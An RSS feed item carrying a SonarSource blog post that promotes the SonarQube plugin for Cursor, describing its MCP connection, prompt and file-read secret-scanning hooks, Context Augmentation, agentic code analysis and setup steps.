isPermaLink="false">en:23ca7f09-5921-4e1d-a387-ed64fabbfe4a</guid><dc:creator><![CDATA[Brooks Naylor]]></dc:creator><pubDate>Wed, 24 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR overview&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;The &lt;strong&gt;SonarQube plugin for Cursor&lt;/strong&gt; connects Cursor to a SonarQube instance via MCP Server to deliver deterministic, in-chat code quality and security verification.&lt;/li&gt;&lt;li&gt;This extension installs specific sonar-* skills to query quality gate status, assess dependency risks, check code coverage, and scan 450+ secret types before code generation.&lt;/li&gt;&lt;li&gt;Driven by the SonarQube CLI runtime, it executes &lt;strong&gt;Agentic Analysis&lt;/strong&gt; to automatically analyze, surface inline findings, and apply rule-driven fixes on every file the agent touches.&lt;/li&gt;&lt;li&gt;The plugin enables the verify step of the &lt;strong&gt;Agent-Centric Development Cycle (AC/DC)&lt;/strong&gt;, resolving code quality issues immediately within the active session rather than delaying until CI/PR reviews.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What is the SonarQube plugin for Cursor?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/diuk21OdveU?si=2TuCsigyej7_4JeT&quot;&gt;Introducing SonarQube Plugin For Cursor&lt;/a&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;re already using &lt;a href=&quot;https://www.sonarsource.com/integrations/cursor/&quot;&gt;Cursor&lt;/a&gt; to write code, you&amp;#x27;ve probably felt the gap between how fast the agent generates and how long it takes to find out whether the output holds up. CI catches things. PR review catches more. But neither happens in the same session that writes your code.&lt;/p&gt;&lt;p&gt;The SonarQube plugin for Cursor closes that gap. It connects Cursor to your SonarQube instance through the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt; and installs a set of sonar-* skills into your project. From there, Cursor can query quality gate status, list open issues, check code coverage and duplication, and assess dependency risks without you ever leaving the chat. The same quality profiles and gates your organization already has in place govern every result.&lt;/p&gt;&lt;p&gt;One thing worth knowing if you&amp;#x27;re also using the &lt;a href=&quot;https://www.sonarsource.com/resources/library/sq-ide-plug-in-for-cursor/&quot;&gt;SonarQube for IDE extension&lt;/a&gt; inside Cursor: the two are complementary. The extension drives real-time editor feedback through Connected Mode; this plugin drives the in-chat agent loop. They don&amp;#x27;t overlap — they stack.&lt;/p&gt;&lt;h2&gt;How does the SonarQube plugin for Cursor work?&lt;/h2&gt;&lt;p&gt;Setup runs through a single &lt;code&gt;sonar-integrate&lt;/code&gt; skill after installing the plugin from the &lt;a href=&quot;https://cursor.com/marketplace/sonarsource&quot;&gt;Cursor marketplace&lt;/a&gt;. That skill runs the sonar integrate cursor command which prompts for and wires authentication, the MCP server, hooks, an Agentic Analysis rule, and a Context Augmentation skill into the &lt;code&gt;.agent/skills/&lt;/code&gt; directory. It&amp;#x27;s idempotent, so re-running it reports what&amp;#x27;s already in place rather than overwriting things. Alternatively, with the SonarQube CLI already installed, all it takes is a single &lt;code&gt;sonar integrate cursor &lt;/code&gt;command to get everything up and running.&lt;/p&gt;&lt;p&gt;Under the hood, the &lt;a href=&quot;https://cli.sonarqube.com/&quot;&gt;SonarQube CLI&lt;/a&gt; is the runtime everything depends on.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Secrets scanning on every prompt and file read.&lt;/strong&gt; A &lt;code&gt;beforeSubmitPrompt&lt;/code&gt; hook scans every prompt before it reaches the model. If a recognized credential pattern is detected—the plugin covers 450+ secret types—the prompt is blocked outright and never sent. A &lt;code&gt;preToolUse&lt;/code&gt; hook and a &lt;code&gt;beforeReadFile&lt;/code&gt; hook run the same scanner in front of file reads. When either fires a denial, the plugin also appends the file path to &lt;code&gt;.cursorignore&lt;/code&gt;, which is what actually prevents Cursor from reaching the file on subsequent attempts.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Context Augmentation before generation.&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/products/context-augmentation/&quot;&gt;Sonar Context Augmentation&lt;/a&gt; delivers your coding guidelines, architectural intent, third-party dependency health, and semantic navigation to Cursor at prompt time. The agent picks this up on the first prompt of a session and carries it forward, so code generation is informed by SonarQube&amp;#x27;s view of your project from the start. (Context Augmentation is currently only available on SonarQube Cloud).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Agentic Analysis on every file the agent touches.&lt;/strong&gt; A Cursor rule installed by &lt;code&gt;sonar integrate&lt;/code&gt; tells the agent to run &lt;code&gt;sonar analyze agentic&lt;/code&gt; on each file it creates or edits before ending the turn. Findings surface inline. Where a rule-driven fix is available, the agent applies it and re-runs analysis to confirm the issue is resolved before handing control back. The turn doesn&amp;#x27;t close until each remaining finding is either fixed or explicitly left open with a reason.&lt;/p&gt;&lt;p&gt;The result is the same closed loop the plugin delivers in other agent environments: guide with context, verify every edit, fix before the session ends.&lt;/p&gt;&lt;h2&gt;Why should I verify code quality inside Cursor during the session?&lt;/h2&gt;&lt;p&gt;AI models are probabilistic. The same prompt can produce different output on different days, and the same model can produce subtly different results across a long session. That makes deterministic, independent code verification essential — &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; produces the same result for the same code every time, giving you an auditable standard that agent self-review can&amp;#x27;t replicate.&lt;/p&gt;&lt;p&gt;This is the Verify step of Sonar&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/agent-centric-development/&quot;&gt;Agent-Centric Development Cycle&lt;/a&gt; (AC/DC) in practice: guide the agent with context and constraints, verify output deterministically, and solve issues in the same session. Catching a problem at the point of generation is faster and less disruptive than catching it in CI or during a PR review — and small errors compound. When an agent writes hundreds of lines before verification runs, a missed issue early can propagate through the rest of the output.&lt;/p&gt;&lt;h2&gt;How do I set up the SonarQube plugin in Cursor?&lt;/h2&gt;&lt;p&gt;Install the SonarQube plugin from the &lt;a href=&quot;https://cursor.com/marketplace/sonarsource&quot;&gt;Cursor marketplace&lt;/a&gt;, open your project in a new Cursor Agent session, and run &lt;code&gt;sonar-integrate&lt;/code&gt; in the chat. The skill walks you through authentication, scopes the integration to your project, and writes the MCP registration, hooks, rule, and Context Augmentation skill into place. Once that&amp;#x27;s done, open &lt;strong&gt;Settings → Tools &amp;amp; MCPs&lt;/strong&gt; and toggle &lt;code&gt;sonarqube&lt;/code&gt; on — Cursor doesn&amp;#x27;t enable MCP servers automatically after setup.&lt;/p&gt;&lt;p&gt;The full walkthrough, including step-by-step screenshots and a worked example using a real open source project, is in the &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-cursor/&quot;&gt;Cursor plugin blueprint&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Use Cursor for speed. Use SonarQube for trust.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/&quot;&gt;Get started with SonarQube Cloud&lt;/a&gt;&lt;/p&gt;</content:encoded></item></channel></rss>